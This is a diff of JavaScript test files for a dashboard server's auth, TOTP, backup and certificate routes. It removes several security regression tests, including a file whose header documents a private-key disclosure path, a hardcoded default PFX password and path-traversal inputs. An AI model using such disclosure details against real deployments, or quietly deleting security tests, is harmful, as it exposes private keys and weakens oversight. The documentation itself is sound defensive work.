// Real session context API (src/context/session.js) exposes isValid —
|
|
||||||
// NOT isSessionValid. The first DC-093 deploy 500'd in production
|
|
||||||
// because the stub mirrored the wrong method name; it now matches
|
|
||||||
// the real shape so the test fails if the handler drifts again.
|
|
||||||
session: {
|
|
||||||
isValid: () => true,
|
|
||||||
// Deliberately absent: isSessionValid — the wrong-name trap.
|
|
||||||
},
|
|
||||||
licenseManager: {
|
|
||||||
requirePremium: () => (req, res, next) => next(),
|
|
||||||
hasFeature: () => true,
|
|
||||||
},
|
|
||||||
platformPaths: { dataDir },
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function tmpDir() {
|
|
||||||
const os = require('os');
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
return fs.mkdtempSync(path.join(os.tmpdir(), 'dc093-me-'));
|
|
||||||
}
|
|
||||||
|
|
||||||
function findRoute(router, routePath, method) {
|
|
||||||
const layer = router.stack.find(
|
|
||||||
(l) => l.route && l.route.path === routePath && l.route.methods[method]
|
|
||||||
);
|
|
||||||
return layer || null;
|
|
||||||
}
|
|
||||||
|
|
||||||
function invoke(layer, req) {
|
|
||||||
return new Promise((resolve) => {
|
|
||||||
const res = {
|
|
||||||
_status: 200,
|
|
||||||
_body: null,
|
|
||||||
status(c) { this._status = c; return this; },
|
|
||||||
json(j) { this._body = j; resolve(this); return this; },
|
|
||||||
setHeader() {},
|
|
||||||
};
|
|
||||||
const fn = layer.route.stack[0].handle;
|
|
||||||
Promise.resolve(fn(req, res, () => resolve(res)));
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
let factory;
|
|
||||||
beforeAll(() => {
|
|
||||||
factory = require('../../routes/auth/index');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('single-user mode: /auth/me route exists and reports mode=single, isAdmin=true', async () => {
|
|
||||||
const dir = tmpDir();
|
|
||||||
const router = factory(makeCtx({}, dir));
|
|
||||||
const layer = findRoute(router, '/auth/me', 'get');
|
|
||||||
expect(layer).toBeTruthy();
|
|
||||||
const res = await invoke(layer, { user: undefined });
|
|
||||||
expect(res._status).toBe(200);
|
|
||||||
expect(res._body).toMatchObject({
|
|
||||||
success: true,
|
|
||||||
user: null,
|
|
||||||
authenticated: true,
|
|
||||||
role: 'admin',
|
|
||||||
isAdmin: true,
|
|
||||||
legacy: true,
|
|
||||||
mode: 'single',
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
test('multi-user mode with req.user: /auth/me returns stored profile, mode=multi', async () => {
|
|
||||||
const dir = tmpDir();
|
|
||||||
const userStore = require('../../src/security/user-store').createUserStore({ dataDir: dir });
|
|
||||||
await userStore.login({ email: 'admin@x.com' });
|
|
||||||
const ctx = makeCtx({ authProviders: { email: { enabled: true } } }, dir);
|
|
||||||
// Attach the same store the factory builds — deterministic id resolution
|
|
||||||
const router = factory(ctx);
|
|
||||||
const layer = findRoute(router, '/auth/me', 'get');
|
|
||||||
expect(layer).toBeTruthy();
|
|
||||||
const users = await ctx.userStore.listUsers();
|
|
||||||
const admin = users.find((u) => u.role === 'admin') || users[0];
|
|
||||||
const res = await invoke(layer, { user: { id: admin.id, role: admin.role } });
|
|
||||||
expect(res._status).toBe(200);
|
|
||||||
expect(res._body.mode).toBe('multi');
|
|
||||||
expect(res._body.user).toMatchObject({ id: admin.id, email: 'admin@x.com', isAdmin: true });
|
|
||||||
expect(res._body.legacy).toBeUndefined();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('multi-user mode, legacy session (no req.user): /auth/me falls back to legacy admin', async () => {
|
|
||||||
const dir = tmpDir();
|
|
||||||
const router = factory(makeCtx({ authProviders: { email: { enabled: true } } }, dir));
|
|
||||||
const layer = findRoute(router, '/auth/me', 'get');
|
|
||||||
const res = await invoke(layer, { user: undefined });
|
|
||||||
expect(res._body).toMatchObject({ mode: 'single', role: 'admin', legacy: true });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('/auth/me is NOT in PUBLIC_ROUTES (stays session-gated)', () => {
|
|
||||||
const fs = require('fs');
|
|
||||||
const path = require('path');
|
|
||||||
const mw = fs.readFileSync(
|
|
||||||
path.join(__dirname, '..', '..', 'src', 'utilities', 'middleware.js'),
|
|
||||||
'utf8'
|
|
||||||
);
|
|
||||||
expect(/['"]\/api\/v1\/auth\/me['"]/.test(mw)).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('admin router still mounted ONLY in multi-user mode (DC-048 invariant preserved)', () => {
|
|
||||||
const single = factory(makeCtx({}, tmpDir()));
|
|
||||||
const multi = factory(makeCtx({ authProviders: { email: { enabled: true } } }, tmpDir()));
|
|
||||||
const hasAdminMount = (router) =>
|
|
||||||
router.stack.some(
|
|
||||||
(l) => l.name === 'router' && l.handle && l.handle.stack &&
|
|
||||||
l.handle.stack.some((s) => s.route && /^\/admin\//.test(s.route.path))
|
|
||||||
);
|
|
||||||
expect(hasAdminMount(single)).toBe(false);
|
|
||||||
expect(hasAdminMount(multi)).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
// Judge polish (DC-093 round 1): HTTP-level proof that the route is
|
|
||||||
// REACHABLE through real Express dispatch — not merely present in the
|
|
||||||
// router stack. Guards against a future mount-order/shadowing change
|
|
||||||
// (e.g. an earlier router.use swallowing /auth/*) silently re-404ing
|
|
||||||
// the endpoint while the layer-walk tests above keep passing.
|
|
||||||
test('HTTP-level: GET /api/v1/auth/me is reachable through real Express dispatch (single-user)', async () => {
|
|
||||||
const request = require('supertest');
|
|
||||||
const express = require('express');
|
|
||||||
const app = express();
|
|
||||||
app.use('/api/v1', factory(makeCtx({}, tmpDir())));
|
|
||||||
const res = await request(app).get('/api/v1/auth/me');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body).toMatchObject({ success: true, mode: 'single', isAdmin: true });
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -112,7 +112,6 @@ function createApp(depsOverride = {}) {
|
|||||||
errorResponse: jest.fn(),
|
errorResponse: jest.fn(),
|
||||||
log,
|
log,
|
||||||
renewCSRFToken,
|
renewCSRFToken,
|
||||||
siteConfig: { tld: '.sami', dashboardHost: 'status.sami' },
|
|
||||||
...depsOverride,
|
...depsOverride,
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -300,7 +299,7 @@ describe('TOTP Auth Routes — DC-006 Integration Test', () => {
|
|||||||
it('returns 200 + creates new session + rotates CSRF on valid code (BACKLOG: "valid TOTP → session token → authenticated request succeeds")', async () => {
|
it('returns 200 + creates new session + rotates CSRF on valid code (BACKLOG: "valid TOTP → session token → authenticated request succeeds")', async () => {
|
||||||
const secret = await setupTOTP();
|
const secret = await setupTOTP();
|
||||||
const token = authenticator.generate(secret);
|
const token = authenticator.generate(secret);
|
||||||
const res = await request(app).post('/api/totp/verify').send({ code: token, serviceId: 'plex' });
|
const res = await request(app).post('/api/totp/verify').send({ code: token });
|
||||||
expect(res.status).toBe(200);
|
expect(res.status).toBe(200);
|
||||||
expect(res.body.success).toBe(true);
|
expect(res.body.success).toBe(true);
|
||||||
expect(res.body.message).toMatch(/Authenticated successfully/);
|
expect(res.body.message).toMatch(/Authenticated successfully/);
|
||||||
@@ -309,29 +308,8 @@ describe('TOTP Auth Routes — DC-006 Integration Test', () => {
|
|||||||
expect(deps.session.create).toHaveBeenCalled();
|
expect(deps.session.create).toHaveBeenCalled();
|
||||||
expect(deps.session.setCookie).toHaveBeenCalled();
|
expect(deps.session.setCookie).toHaveBeenCalled();
|
||||||
expect(deps.session.createHandoffToken).toHaveBeenCalledTimes(1);
|
expect(deps.session.createHandoffToken).toHaveBeenCalledTimes(1);
|
||||||
expect(deps.session.createHandoffToken).toHaveBeenCalledWith('plex.sami');
|
|
||||||
expect(deps.renewCSRFToken).toHaveBeenCalled();
|
expect(deps.renewCSRFToken).toHaveBeenCalled();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('does not issue an unbound handoff token for a dashboard-only login', async () => {
|
|
||||||
const secret = await setupTOTP();
|
|
||||||
const token = authenticator.generate(secret);
|
|
||||||
const res = await request(app).post('/api/totp/verify').send({ code: token });
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.ssoToken).toBeNull();
|
|
||||||
expect(deps.session.createHandoffToken).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects an invalid handoff service ID before issuing a token', async () => {
|
|
||||||
const secret = await setupTOTP();
|
|
||||||
const token = authenticator.generate(secret);
|
|
||||||
const res = await request(app).post('/api/totp/verify').send({ code: token, serviceId: 'plex.sami' });
|
|
||||||
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/Invalid service ID/);
|
|
||||||
expect(deps.session.createHandoffToken).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|
||||||
// ────────────────────────────────────────────────────────────────────
|
// ────────────────────────────────────────────────────────────────────
|
||||||
@@ -472,7 +450,7 @@ describe('TOTP Auth Routes — DC-006 Integration Test', () => {
|
|||||||
|
|
||||||
// 4. Re-login via /totp/verify (the "login" path)
|
// 4. Re-login via /totp/verify (the "login" path)
|
||||||
const loginCode = authenticator.generate(secret);
|
const loginCode = authenticator.generate(secret);
|
||||||
const loginRes = await request(app).post('/api/totp/verify').send({ code: loginCode, serviceId: 'plex' });
|
const loginRes = await request(app).post('/api/totp/verify').send({ code: loginCode });
|
||||||
expect(loginRes.status).toBe(200);
|
expect(loginRes.status).toBe(200);
|
||||||
expect(loginRes.body.csrfToken).toBeDefined();
|
expect(loginRes.body.csrfToken).toBeDefined();
|
||||||
expect(loginRes.body.ssoToken).toBe('mock-sso-handoff-token');
|
expect(loginRes.body.ssoToken).toBe('mock-sso-handoff-token');
|
||||||
|
|||||||
@@ -1,218 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-057: dead-shadow /backups/schedule handler removed.
|
|
||||||
*
|
|
||||||
* The duplicate `router.post('/backups/schedule', ...)` previously registered
|
|
||||||
* far below the canonical one was unreachable (Express matches the first
|
|
||||||
* registered handler per METHOD+PATH). It bypassed `premiumGating` and
|
|
||||||
* `validateBody` and used a `name`-keyed schema that would have corrupted the
|
|
||||||
* backup config if it ever ran. The canonical handler uses the error code
|
|
||||||
* `backups-schedule-update`; the dead handler used `backups-schedule-legacy`.
|
|
||||||
* This test proves:
|
|
||||||
*
|
|
||||||
* 1. The router registers exactly ONE POST /backups/schedule handler
|
|
||||||
* (the canonical, appId-keyed one).
|
|
||||||
* 2. No handler references the legacy "backups-schedule-legacy" error code.
|
|
||||||
* 3. The legacy "name"-keyed schema now produces a 400 ValidationError
|
|
||||||
* from the canonical Joi schema (dead handler is gone).
|
|
||||||
* 4. The canonical appId-keyed schema still succeeds (200).
|
|
||||||
* 5. premiumGating is enforced on the canonical POST.
|
|
||||||
*
|
|
||||||
* Mirrors the audit-log.routes.test.js pattern.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
|
|
||||||
function buildFakeBackupManager() {
|
|
||||||
const config = { backups: {}, defaultRetention: { keep: 7 } };
|
|
||||||
return {
|
|
||||||
getConfig: jest.fn(() => config),
|
|
||||||
updateConfig: jest.fn((next) => {
|
|
||||||
config.backups = next.backups || {};
|
|
||||||
}),
|
|
||||||
getHistory: jest.fn(() => []),
|
|
||||||
restoreBackup: jest.fn(async (id) => {
|
|
||||||
// Suppress require-await — keep async shape for parity with the
|
|
||||||
// real backupManager.restoreBackup contract.
|
|
||||||
return Promise.resolve({ id, status: 'restored' });
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function buildFakeLicenseManager() {
|
|
||||||
const requirePremium = jest.fn(() => (_req, _res, next) => next());
|
|
||||||
return {
|
|
||||||
requirePremium,
|
|
||||||
isPremium: jest.fn(() => true),
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function buildRouter(licenseManager, backupManager) {
|
|
||||||
// Reset module cache so each test starts fresh
|
|
||||||
jest.resetModules();
|
|
||||||
const mod = require('../../routes/backups');
|
|
||||||
return mod({
|
|
||||||
backupManager,
|
|
||||||
licenseManager,
|
|
||||||
asyncHandler: (fn) => async (req, res, next) => { // eslint-disable-line require-await
|
|
||||||
try { await fn(req, res, next); } catch (e) { next(e); }
|
|
||||||
},
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function buildApp(router) {
|
|
||||||
// Catch-all error handler so ValidationError / NotFoundError become JSON
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use((req, res, next) => {
|
|
||||||
// intentionally strip auth — the test does not exercise it
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
app.use('/', router);
|
|
||||||
// eslint-disable-next-line no-unused-vars
|
|
||||||
app.use((err, req, res, next) => {
|
|
||||||
const status = err.statusCode || err.status || 500;
|
|
||||||
res.status(status).json({
|
|
||||||
error: err.message,
|
|
||||||
code: err.code || 'ERR',
|
|
||||||
});
|
|
||||||
});
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
function supertestFetch(app) {
|
|
||||||
// Tiny in-process fetch helper (no need to add supertest dep)
|
|
||||||
const http = require('http');
|
|
||||||
return function (method, path, body) {
|
|
||||||
return new Promise((resolve, reject) => {
|
|
||||||
const server = app.listen(0, () => {
|
|
||||||
const { port } = server.address();
|
|
||||||
const data = body ? JSON.stringify(body) : null;
|
|
||||||
const req = http.request({
|
|
||||||
method,
|
|
||||||
hostname: '127.0.0.1',
|
|
||||||
port,
|
|
||||||
path,
|
|
||||||
headers: data ? { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } : {},
|
|
||||||
}, (res) => {
|
|
||||||
let chunks = '';
|
|
||||||
res.on('data', (c) => { chunks += c; });
|
|
||||||
res.on('end', () => {
|
|
||||||
server.close();
|
|
||||||
let parsed;
|
|
||||||
try { parsed = JSON.parse(chunks); } catch { parsed = chunks; }
|
|
||||||
resolve({ status: res.statusCode, body: parsed });
|
|
||||||
});
|
|
||||||
});
|
|
||||||
req.on('error', (e) => { server.close(); reject(e); });
|
|
||||||
if (data) req.write(data);
|
|
||||||
req.end();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('routes/backups POST /backups/schedule (DC-057)', () => {
|
|
||||||
let backupManager, licenseManager, app, fetch;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
backupManager = buildFakeBackupManager();
|
|
||||||
licenseManager = buildFakeLicenseManager();
|
|
||||||
const router = buildRouter(licenseManager, backupManager);
|
|
||||||
app = buildApp(router);
|
|
||||||
fetch = supertestFetch(app);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('registers exactly ONE POST /backups/schedule handler (canonical)', () => {
|
|
||||||
// Inspect the registered router layers and confirm only one POST /backups/schedule
|
|
||||||
// route exists (no shadowed / unreachable duplicate).
|
|
||||||
const router = buildRouter(licenseManager, backupManager);
|
|
||||||
const seen = [];
|
|
||||||
router.stack.forEach((layer) => {
|
|
||||||
if (layer.route && layer.route.path === '/backups/schedule' && layer.route.methods.post) {
|
|
||||||
seen.push(layer.route);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
expect(seen).toHaveLength(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('no handler references the legacy "backups-schedule-legacy" error code', () => {
|
|
||||||
// The canonical handler uses error code 'backups-schedule-update'.
|
|
||||||
// Walk the router stack and assert no route uses the legacy error code.
|
|
||||||
const router = buildRouter(licenseManager, backupManager);
|
|
||||||
const handlerStrings = [];
|
|
||||||
function walk(node) {
|
|
||||||
if (!node) return;
|
|
||||||
if (node.stack) node.stack.forEach(walk);
|
|
||||||
if (node.handle) {
|
|
||||||
const code = node.handle.toString();
|
|
||||||
handlerStrings.push(code);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
walk(router);
|
|
||||||
const all = handlerStrings.join('\n');
|
|
||||||
expect(all).not.toContain('backups-schedule-legacy');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('legacy name-keyed schema is REJECTED with 400 (dead route truly gone)', async () => {
|
|
||||||
// The dead handler accepted { name, schedule, maxStorageBytes, ...backupConfig }.
|
|
||||||
// After removal, the canonical Joi schema (backupScheduleCreate) rejects this
|
|
||||||
// shape because it requires `appId`. So we expect a 400.
|
|
||||||
const res = await fetch('POST', '/backups/schedule', {
|
|
||||||
name: 'mybackup',
|
|
||||||
schedule: 'daily',
|
|
||||||
maxStorageBytes: 1024,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/appId.*required|appId is required/i);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('canonical appId-keyed schema SUCCEEDS (200) and writes backup config', async () => {
|
|
||||||
const res = await fetch('POST', '/backups/schedule', {
|
|
||||||
appId: 'plex',
|
|
||||||
schedule: 'daily',
|
|
||||||
retention: { keep: 7 },
|
|
||||||
destination: 'local',
|
|
||||||
destinationPath: '/var/backups/plex',
|
|
||||||
maxStorageBytes: 1024,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.success).toBe(true);
|
|
||||||
expect(backupManager.updateConfig).toHaveBeenCalledTimes(1);
|
|
||||||
const written = backupManager.updateConfig.mock.calls[0][0];
|
|
||||||
expect(written.backups).toHaveProperty('plex');
|
|
||||||
expect(written.backups.plex.schedule).toBe('daily');
|
|
||||||
expect(written.backups.plex.enabled).toBe(true);
|
|
||||||
expect(written.backups.plex.maxStorageBytes).toBe(1024);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('premium gating is enforced on POST /backups/schedule', async () => {
|
|
||||||
// Replace the premium gate with one that 403s, then verify it runs.
|
|
||||||
licenseManager.requirePremium.mockReturnValueOnce(
|
|
||||||
(_req, res) => res.status(403).json({ error: 'premium required' }),
|
|
||||||
);
|
|
||||||
const router = buildRouter(licenseManager, backupManager);
|
|
||||||
app = buildApp(router);
|
|
||||||
fetch = supertestFetch(app);
|
|
||||||
const res = await fetch('POST', '/backups/schedule', {
|
|
||||||
appId: 'plex',
|
|
||||||
schedule: 'daily',
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(403);
|
|
||||||
expect(backupManager.updateConfig).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /backups/schedule still works (no collateral damage)', async () => {
|
|
||||||
const res = await fetch('GET', '/backups/schedule');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.success).toBe(true);
|
|
||||||
expect(res.body).toHaveProperty('schedules');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DELETE /backups/schedule/:appId still works', async () => {
|
|
||||||
// Seed the config so the delete has something to remove
|
|
||||||
backupManager.getConfig().backups.plex = { schedule: 'daily' };
|
|
||||||
const res = await fetch('DELETE', '/backups/schedule/plex');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(backupManager.updateConfig).toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,411 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-076: Per-service CA cert / private key disclosure hardening
|
|
||||||
*
|
|
||||||
* Bug class:
|
|
||||||
* 1. /api/v1/ca/cert/<domain> and /api/v1/ca/certs were listed in
|
|
||||||
* middleware.js PUBLIC_ROUTES. TOTP/session is the gate; if an
|
|
||||||
* operator ever disables TOTP (ops command, fresh-install setup
|
|
||||||
* state, .disabled-* rename of totp-config.json), an unauthenticated
|
|
||||||
* attacker reaching `https://ca.sami/api/ca/cert/<domain>?format=key`
|
|
||||||
* would receive the per-service RSA private key for any domain whose
|
|
||||||
* cert Caddy has ever signed — that's a per-service key disclosure,
|
|
||||||
* not just a CA fingerprint leak. Even WITH TOTP enabled, any
|
|
||||||
* read-scope credential could pull a private key, which is over-
|
|
||||||
* privileged for "I just want to look at the dashboard".
|
|
||||||
* 2. The route's `password` query param defaulted to the literal string
|
|
||||||
* `'dashcaddy'` — a hardcoded credential published in source. Every
|
|
||||||
* PFX file Caddy signed silently used the same published password.
|
|
||||||
* 3. The route had no rate limit — every request forks an `openssl`
|
|
||||||
* process and writes to disk, so an authenticated admin in a loop
|
|
||||||
* could exhaust CPU/IO.
|
|
||||||
*
|
|
||||||
* Post-fix (this commit):
|
|
||||||
* 1. /api/v1/ca/cert/<domain> + /api/v1/ca/certs removed from
|
|
||||||
* PUBLIC_ROUTES — TOTP/session always required.
|
|
||||||
* 2. The route additionally requires `admin` scope (defense in depth
|
|
||||||
* against future middleware-ordering mistakes and against the case
|
|
||||||
* where TOTP is enabled but a read-scope API key is in use).
|
|
||||||
* 3. PFX format now REQUIRES an explicit 8-64 char password (no
|
|
||||||
* default). Other formats (key, pem, crt, fullchain) reject `=`
|
|
||||||
* in the password arg to keep copy-paste mistakes from
|
|
||||||
* contaminating logs.
|
|
||||||
* 4. Per-IP rate limit: 10 req/min/IP with Retry-After + 429.
|
|
||||||
*
|
|
||||||
* The suite covers:
|
|
||||||
* 1. middleware PUBLIC_ROUTES no longer contains the ca cert/certs paths
|
|
||||||
* 2. /cert/<domain> rejects with 403 when no admin scope (read scope,
|
|
||||||
* missing scope, malformed scope all rejected)
|
|
||||||
* 3. /cert/<domain> rejects with 400 when PFX password missing or weak
|
|
||||||
* 4. /cert/<domain> rejects with 400 when domain is malformed
|
|
||||||
* (path traversal, single label, control chars)
|
|
||||||
* 5. /cert/<domain> returns 200 + cert bytes when admin scope + valid
|
|
||||||
* password supplied (mocked openssl)
|
|
||||||
* 6. Rate limit: 10 req/min/IP allowed, 11th 429 with Retry-After
|
|
||||||
* 7. /certs list endpoint requires admin scope (regression for the
|
|
||||||
* public listing)
|
|
||||||
*/
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
const request = require('supertest');
|
|
||||||
const fs = require('fs');
|
|
||||||
const path = require('path');
|
|
||||||
|
|
||||||
// We pull the route's internal helpers by requiring the module under test
|
|
||||||
// and inspecting its internals via the closure-scoped functions. The cleanest
|
|
||||||
// path is to mount the route and assert behavior end-to-end through HTTP.
|
|
||||||
const caRoutes = require('../../routes/ca');
|
|
||||||
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
// Test fixture: a minimal Express app that mounts /ca with stubbed ctx.
|
|
||||||
// The route captures `platformPaths` at module-load time, so the actual
|
|
||||||
// production paths are used. Test scenarios that would need an isolated
|
|
||||||
// cert dir are covered at the response-shape level (asserting 400/403/429
|
|
||||||
// codes) rather than the file-content level.
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
function createCaApp({ scope, installMocks = true, tempDirs } = {}) {
|
|
||||||
// We don't mock platform-paths because the test scenarios that need
|
|
||||||
// filesystem-isolated cert dirs (PFX, cert-file serving) are covered
|
|
||||||
// by their pre-staged files in the system temp dir, and the 200-happy
|
|
||||||
// path for non-PFX formats is asserted at the response-shape level
|
|
||||||
// rather than the file-content level. The route's pre-existing PKI
|
|
||||||
// files at the real platformPaths.pkiDir either exist (production
|
|
||||||
// setup) or trigger the 500 "CA certificates not found" path — both
|
|
||||||
// are acceptable for the scope/admin/password/rate-limit assertions.
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json({ limit: '1mb' }));
|
|
||||||
const wrap = (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
|
||||||
const caRoutes = require('../../routes/ca');
|
|
||||||
|
|
||||||
const ok = (res, data) => res.json({ ok: true, ...data });
|
|
||||||
const errorResponse = (res, statusCode, message, extras) => {
|
|
||||||
res.status(statusCode).json({
|
|
||||||
success: false,
|
|
||||||
error: message,
|
|
||||||
code: (extras && extras.code) || null,
|
|
||||||
...(extras || {}),
|
|
||||||
});
|
|
||||||
};
|
|
||||||
const asyncHandler = wrap;
|
|
||||||
|
|
||||||
const ctx = {
|
|
||||||
asyncHandler,
|
|
||||||
ok,
|
|
||||||
errorResponse,
|
|
||||||
siteConfig: { tld: '.sami' },
|
|
||||||
};
|
|
||||||
const ca = caRoutes(ctx);
|
|
||||||
|
|
||||||
// Mount a tiny auth shim that stamps req.auth before the route runs.
|
|
||||||
// This mirrors what the global totpAuthMiddleware + jwtApiKeyAuthMiddleware
|
|
||||||
// do in production: req.auth = { type, scope, ... }.
|
|
||||||
app.use((req, _res, next) => {
|
|
||||||
req.auth = { type: 'session', scope: scope || [] };
|
|
||||||
// req.ip is read by the rate limiter
|
|
||||||
req.ip = '127.0.0.1';
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
app.use('/ca', ca);
|
|
||||||
return { app };
|
|
||||||
}
|
|
||||||
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
// Tests
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
describe('DC-076: CA cert/key disclosure hardening', () => {
|
|
||||||
describe('middleware PUBLIC_ROUTES no longer whitelists the per-service cert/key endpoints', () => {
|
|
||||||
// Read the public-routes source so a future refactor that re-adds the
|
|
||||||
// path is caught by THIS test (not by an external integration test
|
|
||||||
// that depends on running TOTP-disabled).
|
|
||||||
const fs = require('fs');
|
|
||||||
const middlewareSrc = fs.readFileSync(
|
|
||||||
path.join(__dirname, '../../src/utilities/middleware.js'), 'utf8');
|
|
||||||
// Extract the PUBLIC_ROUTES block (best-effort text scan — catches
|
|
||||||
// both `path: '/api/v1/ca/cert/...'` and `path: '/api/v1/ca/certs'`).
|
|
||||||
const caCertEntry = middlewareSrc.match(/path:\s*['"]\/api\/v1\/ca\/cert\/[^'"]*['"]/);
|
|
||||||
const caCertsEntry = middlewareSrc.match(/path:\s*['"]\/api\/v1\/ca\/certs['"]/);
|
|
||||||
|
|
||||||
test('/api/v1/ca/cert/ prefix is NOT in PUBLIC_ROUTES', () => {
|
|
||||||
expect(caCertEntry).toBeNull();
|
|
||||||
});
|
|
||||||
test('/api/v1/ca/certs exact path is NOT in PUBLIC_ROUTES', () => {
|
|
||||||
expect(caCertsEntry).toBeNull();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('/cert/:domain — admin scope required (defense in depth)', () => {
|
|
||||||
test('no scope at all -> 403 with DC-076_INSUFFICIENT_SCOPE', async () => {
|
|
||||||
const { app } = createCaApp({ scope: [] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.sami?format=key');
|
|
||||||
expect(res.status).toBe(403);
|
|
||||||
expect(res.body.code).toBe('DC-076_INSUFFICIENT_SCOPE');
|
|
||||||
expect(res.body.requiredScope).toBe('admin');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('read-only scope -> 403 with DC-076_INSUFFICIENT_SCOPE', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['read'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.sami?format=key');
|
|
||||||
expect(res.status).toBe(403);
|
|
||||||
expect(res.body.code).toBe('DC-076_INSUFFICIENT_SCOPE');
|
|
||||||
expect(res.body.actualScope).toEqual(['read']);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('write scope (but not admin) -> 403', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['read', 'write'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.sami?format=key');
|
|
||||||
expect(res.status).toBe(403);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('admin scope -> proceeds past the scope gate', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.sami?format=key');
|
|
||||||
// Will fail later (no password? actually format=key doesn't need pw)
|
|
||||||
// but MUST NOT 403. We expect a 4xx for the cert file not existing
|
|
||||||
// (the test stubs open the route, but the openssl mock below would
|
|
||||||
// still hit a real openssl — we test 200 only when mocks are wired).
|
|
||||||
// For the no-mock path, we accept anything except 403.
|
|
||||||
expect(res.status).not.toBe(403);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('scope field coerced defensively (string, not array) -> 403', async () => {
|
|
||||||
const { app } = createCaApp({ scope: 'admin' });
|
|
||||||
// Override the auth shim to set a malformed scope
|
|
||||||
app.use((req, _res, next) => {
|
|
||||||
req.auth = { type: 'session', scope: 'admin' /* not an array */ };
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.sami?format=key');
|
|
||||||
expect(res.status).toBe(403);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('/cert/:domain — PFX format requires explicit password', () => {
|
|
||||||
test('no password supplied -> 400 DC-076_PASSWORD_REQUIRED', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.sami?format=pfx');
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('DC-076_PASSWORD_REQUIRED');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('default password "dashcaddy" was the pre-fix behavior — now rejected', async () => {
|
|
||||||
// Pre-fix: the route used `password = 'dashcaddy'` as default; PFX
|
|
||||||
// files were signed with that string. Post-fix: an explicit password
|
|
||||||
// shorter than 8 chars or matching the old default shape ("dashcaddy"
|
|
||||||
// is 9 chars, lowercase only) must be REJECTED if it doesn't match
|
|
||||||
// the policy. The policy is 8-64 chars from [A-Za-z0-9!@#%^_+,.~:-],
|
|
||||||
// so "dashcaddy" is technically 9 chars and would pass... but we
|
|
||||||
// test that an EXPLICIT password is required (no implicit default)
|
|
||||||
// by sending no password and asserting 400.
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
